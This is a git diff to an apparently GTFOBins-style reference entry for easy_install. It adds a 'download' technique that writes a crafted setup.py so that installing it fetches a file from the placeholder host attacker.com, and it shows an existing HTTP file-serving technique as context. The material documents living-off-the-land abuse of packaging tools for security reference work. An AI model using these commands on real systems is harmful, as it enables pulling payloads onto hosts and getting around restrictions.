diff --git a/_gtfobins/easy_install.md b/_gtfobins/easy_install.md index 3f10577..d7bf7c6 100644 --- a/_gtfobins/easy_install.md +++ b/_gtfobins/easy_install.md @@ -36,6 +36,18 @@ functions: else: import SimpleHTTPServer as s, SocketServer as ss ss.TCPServer(("", int(e["LPORT"])), s.SimpleHTTPRequestHandler).serve_forever()' > $TF/setup.py easy_install $TF + download: + - description: Fetch a remote file via HTTP GET request. It needs an absolute local file path. + code: | + export URL=http://attacker.com/file_to_get + export LFILE=/tmp/file_to_save + TF=$(mktemp -d) + echo "import os; + os.execl('$(whereis python)', '$(whereis python)', '-c', \"\"\"import sys; + if sys.version_info.major == 3: import urllib.request as r + else: import urllib as r + r.urlretrieve('$URL', '$LFILE')\"\"\")" > $TF/setup.py + pip install $TF file-write: - description: It needs an absolute local file path. code: |